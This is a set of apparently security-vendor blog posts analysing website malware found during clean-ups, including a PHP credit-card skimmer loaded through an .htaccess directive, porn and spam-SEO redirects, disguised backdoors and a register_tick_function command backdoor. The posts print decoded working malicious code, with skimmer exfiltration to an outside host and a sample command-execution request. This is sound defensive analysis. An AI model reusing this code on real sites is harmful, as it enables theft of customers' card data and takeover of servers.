One, two, three… CC stolen!

Attackers work hard to make their code very well hidden from the victim and antivirus products, however they might leave some fingerprints (usually not on purpose) that can make the infection easier to detect and remediate.


One case in particular was from an ecommerce website that had “123” displayed at the top of it. After some investigation, we were able to find the following line in the ./.htaccess file:

php_value auto_prepend_file "/var/www/vhosts/site.com/public_html/.htaccess BKP 010515"

In a .htaccess with hundreds of lines (like the one from this case), that line might go unnoticed. The auto_prepend directive will load “a file that is automatically parsed before the main file. The file is included as if it was called with the require function, so include_path is used.” (source).

When checking the ./.htaccess BKP 010515 file, we found the following:

<script language="php">@error_reporting(0);$a_x="x63x72x65x61x74x65x5fx66x75x6ex63x74x69x6fx6e";$b_x='ba'.'se'.'6'.'4'.'_d'.'e'."co".'de';$n_x=$a_x('',$b_x('aWYoIWVtcHR5KCRfUE9TVFsnYmlsbGluZ19maXJzdF9uYW1lJ10pIGFu...aG8gMTIzOw=='));@$n_x();</script>

Which, once decoded, turns into:

if(!empty($_POST['billing_first_name']) and !empty($_POST['billing_last_name'])) {$_xPOST['billing_first_name'] = trim($_POST['billing_first_name']);$_xPOST['billing_last_name'] = trim($_POST['billing_last_name']);}if(!empty($_POST['ccnum']) and !empty($_xPOST['billing_first_name']) and !empty($_xPOST['billing_last_name'])){$ch = false;$z = 'base6'.'4_d'.'eco'.'de';$header[]="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";$header[]="Accept-Language: en-US,en;q=0.5";$header[]="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7";@$ch=curl_init($z('aHR0cDovL3lhaG9vcy5jYy9jaGVjay9hamF4LnBocD9jPQ==').urlencode($_POST['ccnum']).'&c2='.$_POST['cvv'].'&amp;name='.urlencode($_xPOST['billing_first_name']." ".$_xPOST['billing_last_name']).'&month='.urlencode($_POST['expmonth']).'&year='.urlencode($_POST['expyear']).'&address='.urlencode($_POST['billing_address_1']." ".$_POST['billing_address_2']).'&city='.urlencode($_POST['billing_city']).'&country='.urlencode($_POST['billing_country']).'&state='.urlencode($_POST['billing_state']).'&zip='.$_POST['billing_postcode'].'&phone='.urlencode($_POST['billng_phone']).'&cd='.urlencode($_SERVER['HTTP_HOST']));if($ch){curl_setopt($ch,CURLOPT_ENCODING,'utf-8');curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36');curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);@curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,0);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_TIMEOUT,11);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,7);curl_setopt($ch,CURLOPT_HTTPHEADER,$header);@curl_exec($ch); @curl_close($ch);}}echo 123;

When a client from the victim’s website fills out information on the checkout page, like credit card details, that code sends it (through curl) to hXXp://yahoos[.]cc/check/ajax[.]php, passing the details through GET requests.

You may also notice that code is responsible for the “123” on the victim’s website. Once .htaccess BKP 010515 cleared up, the “123” disappeared.

If you’re experiencing similar problems and would like them fixed by security experts, let us know.

Monetized JavaScript Redirect to Free Porn Webcams for...

Attackers will do desperate and obvious things to boost the views of their 'customers'.

On a daily basis we find different malicious redirects (some are very well hidden, others not so much).

The case with this JavaScript redirect is not so different than the other malicious redirects out there, except for one thing - it is constructed from multiple redirects via multiple servers in order for the attacker to gather statistics and monetize the ‘clicks’ from the scripts.


<script type="text/javascript">if (screen.width <= 480) {window.location = "hxxp://portal-b[.]pw/XcTyTp";}</script>

This is a simple JavaScript injection that redirects you to 'Free porn web cams' if your device screen width size is equal or less than 480px. Most of the mobile phones out there will be affected.

The interesting part of this malicious redirect is that during each different execution, it redirects you to another website where another malicious script is hosted, and then you are redirected to the monetization platform which redirects you to a random porn website.

hxxp://infectedsite[.]dom/wp-content/js/js.html (compromised website used as jump point to the below URL)

The content of the js.html is this:

<meta http-equiv="refresh" content="0;URL=hxxp://portal-b[.]pw/X9DC2z"/>

After the next redirect, the shortened URL sends you to a malicious click monetization website:

<html>           <head>               <meta http-equiv="REFRESH" content="1; URL='hxxp://click-cpa[.]net/out?zoneId=1466739-1466890'">               <script type="text/javascript">window.location = "hxxp://click-cpa[.]net/out?zoneId=1466739-1466890";</script>           </head>           </html>

And voila! You are redirected to a random porn website from their list and generating some cents for the attacker.

If your website has been infected and need some help cleaning it up, please let us know.

Ghost from the Past

Some sites may stay infected or not properly cleaned for years. Eventually, they come to us and we clean them. It doesn’t matter whether the malware is old or new. But old malware may tell stories for those who can read it.

For example, this February (2017), we cleaned one site with infected JavaScript files. There was nothing special; everything was cleaned automatically. However our analyst, Moe Obaid ,decided to take a look at the removed code:

date=new Date();var ar="pE=C r:]?me;...cw{ 'nBgNA>}h)ly";try{gserkewg();}catch(a){k=new Boolean().toString()};var ar2="f12,0,60,12,24,-33,...skipped...126,-63,69,-72,6,9,54,-105,-21,0,120]".replace(k.substr(0,1),'[');
pau="rn ev2010".replace(date.getFullYear()-1,"al");e=new Function("","retu"+pau);
e=e();ar2=e(ar2);s="";var pos=0;
for(i=0;i<ar2.length;i++){pos+=parseInt(k.replace("false","0asd"))+ar2[i]/3;s+=ar.substr(pos,1);e(s);

The obfuscation was quite familiar, but this time my attention was drawn to the following code:

pau="rn ev2010".replace(date.getFullYear()-1,"al");

In order to deobfuscate the code, the result of this expression should be "rn eval" (to form the "return eval") in the next statement. But as you can see, this could only happen back in 2011! So I had to slightly modify the code to deobfuscate it, which gave me this code for invisible iframe:

<i f r a m e src='hxxp://g3service[.]ru/in.php?a=QQkFBwQEAAADBgAGEkcJBQcEAQQHDQAMAg==' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></i f r a m e>

Indeed, this malware was active back in June of 2011 and now the domain is defunct.

This information is enough to tell us that the malware was designed to only work in 2011 (back then hackers liked to use disposable domains for just a few days or even hours) and that the site hasn’t been properly cleaned for more than five years. Since 2012, that defunct malware stayed there like a ghost from the past.

When malware injection goes wrong

Today while scanning a client’s website, I found a failed attempt by attackers to hide the location of a backdoor. It is very common for us to find backdoor uploaders on websites, as they are one of the principle ways attackers upload malicious content onto websites. However, there was something interesting about this particular case.

Our scanners found a file which triggered a generic signature php.backdoor.uploader_gen.007. Though we see a lot of trigger functions that may be used as backdoors, in this particular case, the file name stuck out to me:

./googlec4d267ac9f2bab3e.html

Anyone that uses Google Webmaster Tools will recognize this as a verification file for the analytics service. The attackers were hiding behind the legitimate filename and path, hoping that nobody would notice!

Accessing the file in my browser yielded this result:

What they didn’t realize is that usually .html files are not interpreted as php scripts. I’m sorry, better luck on the next injection.

This is a good example of why it’s important to employ the use of file integrity monitoring and any modifications to files on your website.

Fun fact: The usual size of a GWT verification file is around 50-55 bytes. If you ever hop onto your server and notice that your GWT file is much larger than that, then this simple trick might have been used against you!

Spam content injection

During a recent incident response investigation, we detected an infected website loading spam content from another location. The malware was responsible for fetching the spam and displaying it on the front page without the client's knowledge or consent.


Let’s break down the infection and work through it step by step.

First, the malware sets the ignore_user_abort function to true in order to ensure that the user cannot stop the file execution and that the file will not time out by setting the set_time_limit to 0.

<html><body>Nic No Removed Ver0.5<?php    ignore_user_abort(true);    set_time_limit(0); 

Then an infinite loop checks and recreates the malicious file over and over again. After the loop has started, it will kick off the next phase and check if the  wp-blog-header.php file is writeable. This file was not arbitrarily chosen; wp-blog-header.php is a WordPress core file, which means that the malware will be successfully loaded every time the blog is accessed. Afterwards, it replaces the original core file with an infected version fetched from a remote location.

    while(1){          $path ="/var/www/vhosts/site.com/httpdocs/wp-blog-header.php";                if (is_writable($path) == false) {            unlink ($path);echo "del" ;            chmod($path,0777);        

}file_put_contents($path,file_get_contents("hXXp://ga-google[.]com/Nic/feng/infecteddomain.txt"));

This infected domain.txt contains a similar copy of the core file “wp-blog-header.php” but is injected with a typical spam-seo malware. The interesting part is that the attacker had a file for every site infected with his malicious code.
As you can see in the following code snippet, it checks for the user-agent and creates links to this pirated Windows site if it’s the search engine rendering the page.

<?php$tmp = strtolower($_SERVER['HTTP_USER_AGENT']);    $mysite = "http://victm-site.dom/";    $filename = "";    $fromsite = "hxxp://windowsiso[.]net/windows-7-iso/windows-7-download/professional-iso-7/";if (strpos($tmp, 'google') !== false || strpos($tmp, 'yahoo') !== false || strpos($tmp, 'aol') !== false || strpos($tmp, 'sqworm') !== false || strpos($tmp, 'bot') !== false) {    $ksite = !empty($_GET['p']) ? $_GET['p'] : "";    $list = array(        );    $listname = $filename . "?p=";    $liststr = "<div style='text-align: center'>";    foreach ($list as $key => $val) {      if ($ksite == $key) {            $fromsite = $val;      }      $liststr .= "<a href='" .$mysite .  $filename . "?p=" . $key . "'>" . $key . "</a>&nbsp;&nbsp;";    }    $liststr .= "</div>";    $url = empty($_GET['viewid']) ? "" : $_GET['viewid'];    $content = file_get_contents($fromsite . $url);    if (!empty($ksite)) {      $qstr = $filename . "?p=" . $ksite . "&viewid=";    } else {      $qstr = $filename . "?viewid=";    }    $repstr = $mysite . $qstr;    $content = str_ireplace('href="', 'href="/', $content);    $content = str_ireplace('href="//', 'href="/', $content);

This type of Malware is very common and can be used to inject many types of spam content into your website,causing an impact on your site’s SERP (Search Engine Result Pages). If you want to be sure that your website is not infected, or if you need help cleaning it up, let us know.

.user.ini SPAM SEO Redirect

Since PHP 5.3.0, PHP includes support for configuration INI files on a per-directory basis that has the same effect (depending on the case) that the .htaccess files have on Apache. With that in mind, attackers are exploiting this feature to manipulate the search engine results in order to benefit malicious websites and redirect users to arbitrary spam content.


The payload is based on specific directives being injected into ".user.ini"; hence it's executed before the site is rendered. On Spam SEO redirects that use ".htaccess" rules only, the payload result is visible in the browser and not the malicious code itself. However, in this particular case, we were able to detect the malicious code.

Following, are the directives injected into “.user.ini”:

; Directive 1...auto_prepend_file = '/tmp/.tmp/wrtZaCDz2'; END Directive 1

This type of .ini files doesn’t override all php.ini settings, however it allows attackers to use the auto_prepend directive, which will load a file that is parsed before the main php file. This file is included  by the require function. In this case auto_prepend_file was loading "/tmp/.tmp/wrtZaCDz2", which contained the following code:

<?php$mysqli_class = '/tmp/.tmp/wrtLaCDz7';$mysqli_init = file_get_contents($mysqli_class);$streams_cache = tmpfile();fwrite($streams_cache, gzuncompress($mysqli_init));$stream_id = stream_get_meta_data($streams_cache);include $stream_id['uri'];

After “gzuncompress()’ing” the content of the file "/tmp/.tmp/wrtLaCDz7", we get a malware that implements evasive techniques against different search engines, and assembles redirect links from the malicious website (hxxp://search-tracker[dot]com/in.cgi?7&parameter=$keyword&se=$se&ur=1).

This infection was found on servers running nginx, but as long as the ability to use .user.ini files is enabled, there’s a chance attackers may use it to take advantage of your resources. If you are not using the feature, we highly recommend disabling it to prevent any issues.

Backdooring sites using exotic php functions

Throughout the last few months, we published multiple articles about simple but powerful backdoors and how attackers get creative. Virtually in all cases, the code is designed to avoid detection and it’s not always highly encoded. Actually, we are seeing that most attackers are following the KISS ("Keep it simple, stupid”, “keep it short and simple”) principle and PHP is a vast programming language that can be used to implement malicious code in agreement with it.


During an investigation we found a small piece of code making use of the PHP function register_tick_function. A “tick” in PHP is an event that occurs within the domain of the function “register_tick_function()”.  This function is usually used for testing purposes (monitoring, profiling, etc), but as you might expect it can also be used for attackers to mask their code and  maintain access for as long as possible.

Here is the malicious snippet:

 declare(ticks=1)/*h85j7*/; @register_tick_function(${"_POST"}{'CEC'},@${"_POST"}{'Q36'} ); 

This piece of malware could be injected in virtually any php file on your server, either standalone or along with legit code and it executes whatever command you pass as argument through the 'CEC' and  'Q36' parameters following the next order:

CEC=passthru&Q36=whoami

As you may noticed the malware acts like a regular backdoor, allowing arbitrary command execution on affected websites while using not so popular PHP functions or noisy obfuscation methods that could raise the attention to the code.

If your website has been infected and need some help cleaning it up, please let us know.